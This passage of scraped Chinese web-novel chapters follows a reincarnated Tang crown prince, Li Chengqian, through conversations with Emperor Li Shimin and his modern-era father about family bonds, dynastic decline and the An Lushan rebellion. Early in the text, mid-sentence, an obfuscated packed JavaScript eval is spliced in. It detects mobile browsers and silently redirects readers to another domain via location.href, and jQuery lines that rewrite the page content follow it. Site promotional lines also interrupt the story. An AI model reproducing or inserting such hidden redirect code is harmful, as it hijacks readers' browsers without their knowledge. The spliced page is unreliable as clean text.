还有那个裴寂,煽风点火,讨厌的很。赴宴,本就是出去玩儿的,结果十次有九次都憋着一肚子气回来,换作是你,你愿意去吗?” 李承乾摇摇头,当然不愿意。不过皇帝愿不愿意都必须参加,人在场,李建成、李元吉等人上眼药还能申辩几句。 不在场,就等于任人污蔑,以天策府当时的势力,高祖天然靠拢李建成和李元吉,事后皇帝根本就没有解释的机会。 “承乾,你那个时候愿意朕出去参加宴会吗?朕想听实话。万一,朕是说万一,万一你哪一天回去了,另一个你回来了。 你不在乎朕,他未必不在乎,知道一些朕不知道的过往,朕对另一个你,也能补偿一二。” 李承乾沉默片刻,皇帝这种暴脾气,这个情绪,现在是越来越稳定了。 “当然不愿意了,没有孩子不愿意亲近父亲,幼时的臣也不例外,只是父亲速来威严惯了,加上之前被父亲收拾过几次,心存敬畏,不敢亲近罢了。 一如象儿亲近阿耶,不敢亲近父王。哪怕父亲冷冰冰的,只要他在身边,那也是一件很值得开心的事情。” 李世民听得心里头酸涩难受,“你就没想过,同为父撒撒娇。为父是严肃了些,可青雀雉奴入怀时,也在想你何时入怀。” 李承乾暗笑,又来了,跟他打感情牌,得不到的骚动,皇帝真是无时无刻不想着父慈子孝。 “父亲,从臣启蒙的时候,接受到的教育就是,臣是秦王府的世子,行事要稳重,不能轻挑无状。 幼时的记忆,父亲总在外面征战,或者忙于朝政,臣甚少能见到您。 父亲回来时,臣与青雀迎上去,您总是抱青雀,没有抱臣。 师傅总说,世子要稳重,臣想,您大概喜欢稳重的世子。 父亲,稳重,从来不是臣的本性,臣是一个很爱玩儿的人。 父亲抱青雀不抱臣,让臣觉得,您不喜欢撒娇的臣。 那时,在臣心中,父亲是英雄,是臣仰望且崇拜的人,为了让陛下喜欢,臣也只能压抑着本性,一日比一日稳重。” 李世民心痛难忍,不由得酸了眼眶,“承乾,你一定要诛心为父吗?” 李承乾淡淡道:“这不是诛心,是事实。父亲,您疑惑不管哪一个臣,都粘着老爸。 今日臣告诉您,因为他是第一个看透臣的本性,循循善诱让臣释放本性的人。 在他面前,臣可以肆无忌惮的笑,同他没大没小,哪怕臣有千年的灵魂,却依旧能窝在他怀里撒娇卖痴。” 李世民胳膊肘撑在案上,双手抱住脑袋,哽咽着声音。 “天家重长子,承乾,为父知道你很好,对你疾言厉色,也只是想让你变得更好。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15591797|168634||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>李承乾十分平静的点头,“臣知道,所以臣一直都很努力,哪怕您抬举李泰,给他设立文学馆,提出让他住进武德殿,臣看着李建成的下场,无限惶恐也仍然努力。 直到,您到他的封地赦免死囚,大赦天下,这种殊荣只有天子可以有。 您说出那一句,人生寿夭难期,万一太子不幸,安知诸王他日不为公辈之主!何得轻之! 然后,臣的拜师宴,房玄龄收了拜贴又放了鸽子,让臣在朝野丢尽了脸面。 父亲,你知道吗?那个时候,不止朝野在观望,臣也在小心观望,您对此事的处置。 您没有任何处置,提都不提一句,房玄龄的影响力,大家都心知肚明,那个时候,臣就知道了,臣这个太子做不长久了。 那一年,臣引突厥人入宫,还和秦英、韦灵符等**行祭祀之事……” 说到这里,李承乾自嘲,“现在想来,那时的臣是真的傻,鬼神这种讳莫如深的事情,素来都是统治者忌讳。 前朝巫蛊之祸血淋淋摆在眼前,臣竟然蠢到那个地步。还是谢谢父亲,若无您的庇护,臣也等不到贞观十七年被废了。 臣寄希望于上天,希望那条瘸了的腿可以恢复如初,希望臣的稳重可以夺回圣心,希望父亲能终止您对魏王的盛宠,希望您可以敲打一下房玄龄,希望下一次上朝不再看到朝臣们轻蔑的目光,希望一觉醒来回到贞观十年之前。 然而,现实就是现实,怀揣的希望越大,最后就会越绝望。从那之后,您知道的,臣挺疯的。 既然稳成持重不能得到您的宠爱,既然注定是一个**,那就在死前好好的疯一疯吧! 君心多变,父亲,说一句不敬的话,哪怕是现在,臣也没有寄希望走到最后。 卫太子可以起兵同汉武帝干一架,一来汉朝皇后能调兵,二来汉武帝不是马上天子,卫太子的娘舅表兄是卫霍。 一直以来,兵权保障皇权稳固,您这位马上天子的威望,岂是臣可以撼动的,有一天您看臣不顺眼了,一脚把臣踹下去,臣其实没有什么反抗之力。” 大殿针落可闻,刻漏“莎莎”声异常清晰。 “哭着过完一生,笑着过完一生,臣选择了得过且过,努力过好每一天。至于未来如何,臣这个千年老鬼,也只能说一句,一切随缘。” 皇帝又哭了,李承乾揉着鬓角,有些头疼。 “宜春苑的秧苗长得极好,父亲可要去看看?” 第188章 利益再分配 李承乾自己都有些惊讶,他竟然可以心平气和说完这些话了。 从前想起这些事情,他面上再怎么云淡风轻,心口也会有丝丝抽痛。 个人的思想还是有局限,当局者迷,他应该早些同老爸坦白他的过往。 如此,哪怕他被换回来,也不会有一开始那些啼笑皆非的事情发生。 “父亲,那些事情臣都放下了,您还哭什么啊?” 李世民闻言,哭的更厉害了。 李承乾只觉得头疼,不愧是史书盖章,最爱哭的皇帝,没有之一。 哭的实在闹人,李承乾就讲起了凤翔军的典故,李世民这才找到了些许安慰,哭声渐小。 李承乾叹气,皇帝爱哭,隔代遗传给了李象,不知道李觉会不会被遗传上。 一个老哭包哄起来已经很难受了,再来个小哭包。 老哭包他可以不带个人感情,心平气和的面对。 小哭包是儿子,都不敢想他非要多稳定的情绪,才能稳住阵脚。 去宜春苑看秧苗,李世民十分愿意。 但是,眼睛哭红了,李世民不好意思出门,在甘露殿歇了半个多时辰,太阳已经完全落山。 李世民想起那三方试验田,神色十分凝重,“杂交出来的粮种,只能种一次,朕多么希望这些稻子带来奇迹。” 李承乾道:“这个不可能,千年之后的高科技有可能做到,现在没有可能。 父亲,一代人有一代人的活法,您何必同千年之后的时代较劲? 臣同您说那么多,只是想告诉您,千年后那个伟大的时代。” 李世民道:“高产量的农作物,于朝廷而言,实在是太重要了。没有哪一个帝王,不希望王朝永固,国祚万年。” 李承乾笑道:“有优质的粮种,并不能保证王朝永固。大唐不可能,往后任何一个朝代都不可能, 父亲,死了那条心,活在当下,治理好眼下的朝廷,就是对后人最大的负责。” 李世民走过去,在李承乾身边落座,“说一说,为什么不可能?” “父亲这是在考臣?” 李世民点头,“作为父亲,你的答案无关紧要;作为君王,你的答案朕期待至极。” 李承乾思索片刻,“利益!每一次王朝更迭,表面看是一家一姓的兴衰,内里则是利益的打破与重组。 王朝建立之初,利益散乱,皇族占有最大的利益,在利益上拥有较大的话语权,能够对利益进行较为合理的再分配。 随着王朝逐渐发展,士宦乡绅利益捆绑越来越严重,从朝廷中央逐步渗透到道州县,形成一个盘根交错的利益整体。 这个过程,是潜移默化的,等到皇帝意识到的时候,已经是尾大不掉了,轻易动不得。 这就可以解释,为什么王朝建立之初,位高权重的大臣说杀就杀,王朝建立个几十年之后,想杀一个贪赃枉法的重臣,都畏首畏尾。 王朝建立之初,权贵的利益纽带捆绑的不是很牢固,利益网松散,同朝廷抗衡的能力有限。朝廷可以进行分配,让老百姓能够获取些许利益,保证老百姓的温饱。 随着利益关系网建成,士宦乡绅的力量越来越强,朝廷可用于分配的利益越来越少,王朝上升期人口越来越多,僧多粥少的局面会越来越严重。 皇帝也知道造成这种局面的原因是什么,可自古以来,坐天下的是皇帝,治天下的是臣。 所以,就算知道症结在哪里,皇帝也只能睁一只眼,闭一只眼,得过且过,眼睁睁看着帝国这个庞然大物走向衰落。 有一些皇帝,立志高远,刚好又能遇到变革的能臣,君臣一合计发起改革。 但是,一般情况,利益网已经形成,一个皇帝和几个能臣,根本就没有无力与天下士宦乡绅抗衡。 弱势些的皇帝,遇到个强臣,撑个几年,就会在朝野的围剿之中,铩羽而归,改革以失败告终。 强势些的皇帝,以铁血手段推行改革,却又很难培养出一个同样铁血的继承人。 最后的结果,新君上位,旧势力卷土重来,为了维护统治,新君直接推翻上一任皇帝利国利民的改革,在史笔上将其定义为苛政。 皇帝不可能禁止官员之间相互通婚,迎来送往,选拔上来的人才需要老资历的官员去带,逢上灾年,也不能去禁止官员士绅低价购买土地…… 这些看似平常的事情,以利益为纽带,慢慢的结网,到最后密不透风,欺上瞒下,垄断权力和财富。 在庙堂之上,上品无寒门,下品无世族;在庙堂之外,富者连田阡陌,贫者无立锥之地。 朱门之内,酒池肉林;朱门之外,饿殍遍地。 上位奢侈享乐,麻木不仁,下位饥寒交迫,无所寄存。 王朝走到这个地步,已经完全失去了利益再分配的能力。 老百姓求的,就是一个温饱,不能满足这个条件,这个朝廷就没有存在的必要。 于皇帝而言,无用之人您留不下,于老百姓而言,无用的朝廷老百姓也容不下。 这个时候,有个政客出来振臂一呼,动乱四起,旧的王朝覆灭,新的王朝崛起。” 实话从来扎心,可现实就是很现实就是,李世民拊掌三声,对这个答案很满意。 “然后新的王朝重复旧王朝走过的路,等待下一次利益的打破与重组。” 李承乾点点头,“均田制度被破坏产生流民,朝廷征召其中身强力壮得作为募兵,父亲要李师傅训练募兵,用职业军人维护均田制度,保证府兵的战斗力。 府兵战斗力得到保障,又能延缓均田制被破坏的速度。二者相辅相成,哪怕最后均田制度被破坏,募兵也能顶替上府兵。眼下,这个组合暂时没什么问题。” 李世民笑道:“一个人的能力是有限的,朕能为后人做的尽量的做,尽全力不把麻烦就给他们。 遇到不可能解决的问题,朕也尽力留下一个较好的局面。至于后人如何,大唐王朝最后会走向何方,就只能听天由命了。” “是这个道理。” 李承乾起身告辞,这甘露殿之后没事还是少来,陪皇帝吃饭就算了,还要负责哄人,太难了! 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第189章 端午节造访 往年端午,官方组织活动,李承乾按部就班参加。 这一年端午,官方活动改了,李承乾不用参加,丽正殿打了个招呼,隔着门夫妻说了几句话。 苏氏看着镜中的自己,脸上愈发明显的斑,肚子上的纹,甚至胳膊上都有出现了纹。走样的身材,已经是她最拿不出的缺点了。 这样的自己,苏氏说什么都不肯相见。怀孕产子之后,夫妻恩爱渐消,生在大家族,见了太多这样的例子,苏氏不觉得自己是例外。 回到显德殿,李承乾唤来李象,父子二人换了一身便装,轻装简行,悄咪咪的到了高慎微府上。 “老爸,我来了!” 李承乾见面就直接抱了上去,李象见怪不怪,一开始他还会奇怪父亲一把年纪跟个孩子似的,后来他想通了,若他到了父亲的年纪,父亲愿意这样宠着他,他也觉得会扑上去。 “端午,你没在宫里头?” 高慎微十分疑惑,他那个便宜儿媳妇,因为孕期自然生理变化,不愿意相见,那李世民呢? 隔三差五组织饭局,跟着一堆公司高层嗨歌蹦迪,这么好的借口,不来一场? “爸,我带着象儿出来陪您过节,您还不乐意?” 高慎微的有心玩笑,故意板着脸,“不欢迎,你走吧!” “真的不欢迎我?”李承乾佯装伤心,一步三回头,“老爸,我走了!” 高慎微轻轻一笑,十分好心的指了指大门的方向,“你走错方向了,大门在那边!” 李承乾瞬间换上一副痛心疾首的表情,满脸的委屈,下一秒就要落下泪来。 “老高,我真的走了!” 高慎微白了一眼儿子,上前一把抱起李象,捏了捏便宜孙儿的脸,“你个做父亲的,还没有做儿子的稳重。” 李承乾闻言乐了,三步并作两步上前,“老爸,您在这里,我也是儿子,您稳重就行了。” 说到这里,李承乾眼珠子一转,同父亲开起玩笑来,他拍了拍胸膛。 “您要是委屈难受,想哭的话,您儿子的胸膛宽厚着呢!” 高慎微听得直摇头,他窝在儿子怀里哭,高明这小子敢说,他做不出来啊! “你这脸皮跟谁学的?这么厚?” 李承乾嘻嘻一笑,“跟天可汗学的。” “朕的脸皮没你那么厚。” 众人循着声音望过去,李世民阴着脸站在门口。 “别误会,今日空闲,朕过来时找高先生手谈一局,跟你没关系。” 李承乾自觉有些尴尬,皇帝出现的这个时机,刚才他跟父亲撒娇,皇帝肯定都看到了。 社死,太社死了! 李世民目光落到李象身上,这对父子果然一个德行,忘恩负义的白眼狼。 他去东宫,可没见李象这么殷勤的贴贴。 “你们父子两个,闲人一双,现在可以滚了,朕有话同高先生说。” 李承乾扁扁嘴巴,哪儿都皇帝捣乱。 “父亲,您和我爸什么时候不能手谈,非要等到今天……” 后半句李承乾没说,他想问皇帝是故意的吗? 这话问出来,又实在失了颜面,李承乾也就三缄其口。 打发走儿子和孙子,李世民直接开门见山,“高先生,朕此来是有事情向你请教,承乾,到底是个毛孩子,见事不够清楚。 朕思来想去,还是来请教先生,先生是后世之人,对过往的一些事,了解非常人能及。” 高慎微哈哈一笑,“陛下这是要找一个事后诸葛亮。” 李世民抿了茶水,脸上的笑容格外平静,“诸葛武侯,那可是个不得了的人,事后诸葛,那也是诸葛,不是司马,不是马谡,更不是蒋干。” 听也是夸人,总觉得怪怪的,“所以,陛下要问什么?” 同样的,高慎微也懒得和李世民周旋,他要是在这里长久待下去,那他就必须考虑迎合李世民。 李承乾的灵魂,是他的儿子高明,儿子是太子,他这个做父亲的,他肯定要全力以赴。 但高慎微不能留在这里,李世民真要一刀劈了他,反倒是成全他早日回到自己的时空。 高慎微是游侠,没有成家立业,父母早亡,圈子简单,家世清白,诛三族就他一个,诛九族那得要一个合适的罪名。 他这百日时间,就是想要玩儿谋反都没什么资源和人脉,也玩儿不了。是以,高慎微是半点儿都不带怕李世民。 “陛下请讲,我尽我所能,为陛下解惑。” 李世民道:“朕打算实施募兵制,以弥补府兵制的不足,先生以为如何?” 高慎微脸上挂着浅淡的笑意,这是他宦海浮沉半生的锻炼出来的冷静内敛。 用李承乾的话说,高慎微有李达康身上的干劲,却和孙连城一样,有自己的底线。 有才华,懂世故,但不愿意世故,所以终其一生,他也只是副处级,注定了他不会爬太高。 “均田制被破坏产生得流民,挑选其中身强体壮的成为募兵,募兵和土地捆绑的并不严实,拿朝廷的俸禄,为朝廷办事。 某一个仕宦官绅坐大,陛下可以直接处置,收缴上来的土地,又可以作为均田制的分配土地,等于巩固了均田制。就大唐目前的情况而言,陛下的这番绸缪,实在是妙哉!” 李世民幽幽一笑,“这是承乾此前上疏,那时朕还想不清楚内里,甚至,一度以为他图位谋权。” 高慎微的笑容渐渐凝固,“陛下,高明他不会贪恋你的权势,享受过高科技带来的便利,您那点儿权力带来的便利,几乎可以忽略不计。 李世民笑容僵住,现实很现实,他知道,但不要说得这么清楚,显得他很没见识。 “上天若有眼,等你将来归西,朕借你这副残躯还魂,好好疼爱朕的承乾。” 换作旁人听到这话,指定要暴走,可高慎微只是淡淡一笑,“真能如此,最好不过。老夫何德何能,寿元尽了,还有人替我疼爱我的孩儿。” 没打击到高慎微,李世民当即道:“真到了那个时候,朕死命折腾承乾,你在天上看着,就心疼吧!” 高慎微暗骂道:活该你三个儿子,一个谋逆,一个狠毒,一个娶小妈。这话是是父亲说的吗?这是伪人! “陛下,您不会的。” 喜欢大唐太子李承乾之宿世轮回请大家收藏:()大唐太子李承乾之宿世轮回更新速度全网最快。 第190章 同病相怜 “朕不会?高先生凭什么觉得朕不会?” 高慎微脸上笑意悠长,好整以暇看着李世民,“高明个人素质太高了,那些粗话脏话,捅人心窝子的话,只要陛下不踩到他的底线,他说不出来,可承乾就未必了。” 李世民笑容僵了一瞬,转世前,转世后,于他而言都是承乾,可高慎微嘴巴里的承乾,就只能是转世前的李承乾。 转世前的李承乾,有血有肉,不似留在自己身边的这个,总是带着一股死气,但转世前的那个承乾,那一身血肉他受不起。 三寸肉舌,更甚利刃。 “届时,他二人一体双魂,陛下,您折腾的了高明,承乾那里,您可是讨不到什么便宜的。” “姓高的!”李世民气的咬牙,“承乾,就是给你带坏的。” 高慎微低头品茶,还不忘敬李世民,“算不上极品好茶,到底是儿子的心意,别浪费了。” “那三斤多茶叶给了先生?” 高慎微笑道:“我哪里要得了那么多,百日时间喝一斤都是厉害的,我就要了一斤,剩下两斤多叫高明带回去了。” “朕做了那么多的努力,高先生来了不到一个月,就把承乾变得如他刚来的那般淡漠无情。” 高慎微悠然品着茶,眼底目露骄傲之色,“这说明高明终于认清楚自己是谁的,正确的认知自己,不为外物所累,才是一个人最终成熟的标志。 我的明明,他终于长大了。很多人,从生到死,将近百十年的时间,都没有正确的认识过自己。自以为清醒,实则糊里糊涂的过了一辈子。” 李世民苦笑,“糊里糊涂的活着,就不会有那么多烦恼和痛苦。高先生,朕这样敬重你,你在哪背后捅人刀子,这不好吧?” 高慎微脸色微微一顿,已然心知肚明,他的脸上依旧是那副温和的笑意。 “对于我来说,这是儿子的成长;对于高明来说,这是他精神维度彻底的升华,对陛下来说,这是儿子的背叛。 在这件事情之中,平等的分析每一个人的主观获得,也等于不下来任何一个人的主观意识。 陛下、我、高明,我们三方在这个问题之中的认知,存在对立,可我们的观点又不能被否决,放在主体之中十分的合理。 观点彼此对立,又统一在一个整体之中。陛下能向我问出这样一句话来,只能说明一件事,陛下到现在都没有认清自己的身份。” 他不知道自己的身份,甚少有人敢同他这么说话,李世民当即发怒,脸色阴沉的滴水拍案怒喝。 “高慎微,你放肆!” 高慎微不慌不忙的给李世民添茶,笑得高深莫测,“陛下误会了,我的意思,不是说您掂量不清楚自己的斤两。您要是真的没成算,何来如今的大唐盛世?” 李世民道:“那你这话什么意思?” 高慎微一本正经的道:“我的意思是,您和高明一样,在这一段父子关系里面,没有去思考一个问题:我是谁!” 李世民垂眸,认真思考高慎微的话,半晌,她突然向高慎微开口询问,“还请先生解惑。” “陛下,您……” 李世民直接抬手打断高慎微,“高先生,承乾接触过马哲辩证法,朕没接触过,要么你给朕讲清楚辩证法,让朕意识到朕是谁。要么,你直接告诉朕,朕是谁。 高先生,承乾是朕的儿子,他也是你的儿子,朕能够清楚的认知这段关系,就能更好的处理同承乾的父子关系,你就是回去,也能安心些,不是吗?” 没摸清楚皇帝的意思,高慎微按兵不动,又听皇帝道:“那个什么辩证法,还请先生教朕。” 这句话一出,高慎微立刻明白了皇帝想要干什么,目的只有一个,学会了好PUA他的宝贝高明。 “听承乾说,他常与先生辩论,输多胜少还乐此不疲。” 李世民摩挲着茶杯,目光幽幽,“高先生,高明每每输了比赛,胡搅蛮缠,先生次次都哄着他吗?” 高慎微点点头,“小孩子闹脾气,做大人的哄哄也无伤大雅。” 提到高明,高慎微打开话匣子,李世民的心思,他也摸到了几分,得到了儿子觉得太子不够好,得到了好太子又想要儿子。 当真应了网上流传的那句话,得不到的永远在骚动! “高明这孩子,一开始辩论输了,是真的有些生气,到后面他那是明知道说不过,也要凑上来找话题辩。” 李世民表示理解,李承乾说过,自己的性格底色不是稳重,相反是个极其欢脱的。 “他是享受那个辩论的过程,喜欢被先生哄着,捧着的那种感觉。” 听李世民说到这里,高慎微扶额道:“这孩子人前稳重,人后皮的不行,还没有象儿看着稳重。” 提到李象,李世民的脸色就有些不好了。 李承乾是高慎微的儿子,这是一个客观存在的现实,可李象正正经经是他的孙儿,粘着个外人,不亲近他这个正经祖父就很让他憋屈。 “象儿那小子,跟他那个父亲一样,一点儿小恩小惠,就乐的没边儿了。” 高慎微抿唇不语,端午节原是吃粽子,这个架势,李世民吃的是饺子。 “陛下到底是在山西待了多年。” “这跟朕在山西待了多年有什么关系?” 彼时,李世民尚不知,他恶搞房玄龄夫人,“吃醋”的典故流传千古。 “山西有天下第一醋。” 李世民:…… “老匹夫!” 李世民当场就掀桌子,一拳抡了过去。 高慎微眼疾手快,翻身躲开,右胳膊撑地借力,一个空翻,待落地时已经同李世民拉开了五步的距离。 李世民拊掌,脸上丝毫不见方才被调侃的恼火,夸赞道:“好身手,怪不得承乾看不上朕的玄甲军,未来随便拎出来一个兵都能有这样的身手,养得他眼光那么刁也情有可原。” 高慎微理了理袖子,“陛下过奖了。” “要不朕给先生找个活儿干,先生辅助卫国公李靖,训练新军如何?” “陛下,我都退休了,正是享受的时候。” 李世民笑道:“先生,你这么好的功夫,没想过教一教儿子。” 这个话题,有些不太友好,高慎微思索片刻过后,“陛下,您教了吗?” 李世民冷哼一声,皮笑肉不笑的回答:“朕让卫国公教的,就他学的那个样子,朕怕压不住火气,动手失了分寸。” 头一次跟皇帝有同病相怜的地方,高慎微叹气,“我教了,就是他学的……不尽如人意……” 一切尽在不言中,两个老爷子同款叹气。 第191章 聚焦安史之乱 李世民突然发起进攻,高慎微靠着灵活走位,不断闪避,时不时借力打力,化去李世民的攻势。 绝对的力气面前,硬碰硬绝对讨不到好。 李世民属于天赋型选手,天生神力,这一点,高柏不行,借尸还魂的高慎微也不行。 几次攻击都被“推”掉,李世民极其不爽,指着高慎微骂道:“姓高的,是个男人你接招,这么躲像什么样子?” 高慎微抚着袖子,神色淡淡,“这副身体有一把子力气,却没有陛下的神力。陛下一身硬功夫,我硬碰硬跟拿头去碰石头有什么区别?” 李世民收了攻势,回到刚才的地方落座,高慎微默默收拾被掀翻的桌案,将摔碎的瓷片一片片捡起来。 “偌大的府邸,没有伺候的仆婢吗?要你亲自做这些事情?朕几次过来,你府上都是人影稀疏。” 高慎微道:“原身是个游侠,府中只几个看家的老仆。况且,我来的那个时代,大多数家庭,也没有请佣人的习惯。” “朕在梦中见过先生,只是先生不知。” 高慎微点点头,这话他信,鬼神之说,讳莫如深,大多数人嘴上不信,更多时候是怕信了引来脏东西,并非是真的不信。 “朕若没有这一身天生的力气,绝不是先生的对手,或可说与先生力气相当的人,没几个能与先生一战。” 高慎微笑着道:“当兵的,都是粗人,让陛下见笑了。” “大学研究生毕业,当了个兵就成粗人了。朕算是明白了,承乾那令旁人自惭形秽的谦虚是跟谁学来的了。” 高慎微笑道:“研究生有什么用?上头还有博士,博士后……这么一算,我可不就是个粗人。” “好茶,放在哪里都是合时宜的。” 要他留下的潜台词,高慎微听懂了,他想到一句话,请客斩首,收下当狗 斩首对他无用,他最多回到未来,渤海高氏有些家世,没有正当理由,也不能随便斩首。 他在东宫挂虚名,皇帝多次“礼贤下士”,客是请到位了,现在差最后一步,收下当狗。 高慎微道:“我一个人吃不完那么多茶,那些茶叶,哪里来的终究还是要回哪里去。” 说得是茶,品的是人,李世民心口仿佛被什么牵动,抽痛不已,竟有一股谶语的味道。 哪里来的,终究要回哪里去。 承乾回了后世,换回原来的承乾,这都还好,承乾寿数止步在贞观十七年才是最糟的。 托付稚子,只怕权臣坐大,除非他能活到皇孙独当一面的时候。 “前日与高明商讨治理,高明说一个朝廷失去了利益再分配的能力,就会被百姓丢弃。 王朝的强盛是可用于再分配的利益不断增加,王朝的衰落,实则是是利益再分配的能力不断减弱。” 高慎微点了点头,“没毛病,历史书上一堆的原因,外因内因,主副原因,都是虚晃一枪。 古往今来,王朝兴衰存亡,总结成一句话就是:吃不饱饭了。 老百姓一开始就不是吃肉的,极少数老百姓可以喝点儿肉汤,大多数老百姓吃的是饭。 王朝发展的最后,没有吃过肉喝过汤的老百姓,给人砸了饭碗。 绝大多数情况,造反,不是一个道德问题,而是一个生存问题,造反的最终目的只有一个,活!” “大唐,有一场对后世影响深远的叛乱,今日朕想与先生聊一聊这个问题。先生以后世的眼光,替朕分析一下这一场战争。” 高慎微思索片刻,“陛下说的那一场叛乱,对后世的确影响深远。 后世王朝,对武将严防死守,重文轻武,唐之后,华夏武德不兴,多有那一场叛乱带来的阴影。” 李世民道:“边地不可能不驻兵,不能因为发生了叛乱,就放弃对边地的戍卫和治理。” 高慎微道:“动乱即是分歧,分歧的核心就是利益。 关陇世族吃肉,山东世族喝汤,长久以来这样的局面,引起了山东世族的不满。 叛乱过后,管控地区许多勋贵大族被杀了个干净,山东世族在大唐朝廷话语权大大增强。 这一场叛乱的第一个原因,就是关陇和山东两大世族,在利益上分配不均。 有人总说,随着长孙无忌之死,关陇世族被打垮了,认为这是高宗皇帝和武周女皇的胜利,我认为这个结论是错误的。 李唐皇帝出身关陇,李唐皇族才是关陇最大的世族,只要大唐王朝还在,李唐皇族的统治还在,关陇就不能说被打垮。 长孙无忌之死,恰恰是唐初的一场利益再分配,是关陇李姓皇族向山东世族退让的表现,是平衡关陇和山东两大世族的一场政治操盘。 把已经退出朝局四年,在家里编书的长孙无忌拎出来做马前卒,国舅的份量足够,也可见关陇李姓皇族的诚意。杀一个闲人,也将退让的损失降到了最低。” “胡闹!”李世民拍案怒斥,并不觉得这一步棋走的多好,“承乾就是你教坏的,思考问题始终从臣的角度出发,不去忖度君的得失。 外戚也是皇帝的颜面,辅机若是太国舅,拎出来做马前卒也就罢了。 皇帝正经的舅父,拿自己舅父做马前卒示好,损的是皇帝的威严。 退一万步讲,就算拿辅机做了马前卒,那就得拍死这个罪名,皇帝还能落一个大公无私的好名声。 即便要平反,那得长孙家后继有人,能拉出来和山东世族打擂台,咬下山东世族一口肉来。 如此,平反还有点意义,关键是长孙家也没什么拿得出手的人。 这样的前提之下,为长孙家平反,就是一步蠢棋。 它意味着,李唐皇族当初对长孙家的处置,就是一场妥协和示弱,皇族的威严将会受到更大的冲击。 皇族可以妥协,可以让步,但不能摆到明面上来。” 高慎微十分平淡的听着,问道:“长孙无忌谋反这些事情,不会是高明说得吧?” 如果是,这孩子也太没城府了! 李世民道:“这些是另一个承乾刺激朕得时候说的。” 高慎微继续道:“军事层面上,府兵对土地依赖性太高,那一场叛乱爆发之后,边军势如破竹,到中原腹地长驱直入。 归根到底,就是中原腹地的土地兼并,已经没有太多土地用于养兵,中原腹地兵力空虚,导致了军事部署上外重内轻。所以,叛乱发生之后,中原无力反制。 再有,就是租庸调的赋税制度,难以为继,老百姓负担加重,老百姓和朝廷的矛盾与日俱增,为叛乱提供社会基础。” 李世民道:“朕是听明白了,说来说去,就是以土地为基础,以经济为表象,以利益为核心,作用于政治层面上,利益的再分配问题。” 高慎微点点头,“任何一个时代,土地都是王朝赖以生存的基础,包括未来的新时代。” 新时代能集中力量办大事的重要原因,土地国有。 第192章 尉迟宝琳回来了 “先生这一点,比承乾强的多,承乾刚过来那会儿,害怕改变历史,干什么都畏首畏尾,平白挨了两三顿打。” 听到李世民说高明挨打,高慎微的心抽痛起来。 “从高明回来的那一刻,这个时空的历史就已经在改变了,高明这孩子,是陷入了机械历史唯物主义的悖论。” 又是一个听不懂的新词汇,李世民已经习惯了,一开始还会好奇,现在是没感觉了,也没心情问。 分析问题,高慎微乐意跟他交流,毕竟他把大唐治理好了,李承乾这个继承人就能少出些力。 涉及到哲学辩证法之类的,高慎微就是铁公鸡,一毛不拔。 李世民能理解,高慎微这是生怕他学会了,坑李承乾更容易了。 李承乾带着李象在外院打太极拳,李世民和高慎微出门,正好看见这一幕。 “象儿打的还算有模有样,至于承乾……” 李世民不想继续说下去,没眼看,眼睛疼。 “象儿过来,阿翁抱抱。” 李象懵在原地,皇祖目光炙热,明显是同另一位祖父较劲。 长辈的话要听,李象小短腿挪了过去,十分热络,毫无心理负担的搂上皇祖脖子。 往常休沐他都在崇文馆,皇祖时常拉着一堆大臣到崇文馆视察工作,耳濡目染,李象察言观色和适应环境的能力稳步提升,在同辈中也算佼佼者。 “这套太极拳,象儿比你阿耶打的好。” 李象道:“阿耶要忙着很多事情,无暇集中精力去练,孙儿只有学习一件事情,比阿耶打的好一些也正常。” 李世民意味深长看了眼李象,同从前的李象相比,不可同日而语。 前后一番比对,李承乾对李象的教导,的确是倾尽了不少心血。 李世民将人放下来,拍拍孙儿后脑勺,“好孩子,去玩儿吧!” “老爸……” 他打的不好,李承乾一直都知道,运动是他刻入灵魂的短板。 “好不好的都没有关系,别听陛下那些话。陛下的武事天分,放在历史上都是少有的。 弓马骑射,拳脚功夫是陛下的长处,不是你的长处,不要拿你短处去和别人的长处较劲。 教你这套拳法,本就是强身健体,你现在打可比在咱们那个时代好多了。” 李世民摇摇头,“慈父多败儿!” 高慎微笑盈盈的回了一句,“比起陛下的‘耶耶忆奴欲死’,我这功夫差远了。” 李世民脑袋里头轰隆一声,狠狠瞪了高慎微一眼。 “朕回去了,你们父子俩疯够了早些回去。” 高慎微目送李世民离开,上前一把将李象抱起来,他是真心喜欢这个便宜孙儿。 李承乾心里头说不出的难受,另一个他才经历贞观年间那一遭,短时间内多半不会结婚,父亲这个年纪说不想抱孙是假的。 “爸,对不起……” “有什么对不起的?”高慎微看着李象,眼睛里满是慈爱,“给我教出了这么好的孙儿,你让我担惊受怕那些过往一笔勾销了。” “可,可是中国人总是要有个血脉流传的,那个我只怕是不能……” “别把眼界放的那么窄,”说到这里,高慎微捏了下李象的脸蛋,“象儿是你的孩子,就是我的孙儿,血脉是世俗的传承,灵魂的记忆是精神的传承。” 父亲总是这么想的开,李承乾低头苦笑,压下心中的酸涩,他已经对不起父亲了,不能再让父亲劳心劳力的开导他的遗憾。 “血脉传承少不了败家子,精神的传承才是真正的传承。古人为何总说师父,师父,一日为师,终身为父。因为师徒之间,传承的不是世俗的血脉,而是超脱血脉的精神传承。” 李象搂着祖父脖子,在祖父脸上“吧唧”了一口,又对着祖父胸膛蹭了又蹭,撒娇转移话题,“翁翁……” 高慎微目光柔和,浅笑道:“明明,你小时候也这个样子,特别喜欢旁人抱。” 李承乾难得脸红,李象还在,父亲就说他小时候那些个糗事。 在高家陪着父亲吃过饭,李承乾被拉着上马哲和心理学相关。 原因无他,高慎微怕他离开之后,儿子又被李世民PUA,或者陷入某种理论的悖论。 一个轮回千年的灵魂,没有疯魔,能做个正常人本身很强大,但也很弱小。 打碎重组,高明灵魂的裂纹太多,还有一个致命缺点,重情义! 重情义没什么,因为高家就这么一个独生子,但碰上贞观这群猛人,他不担心是假的。 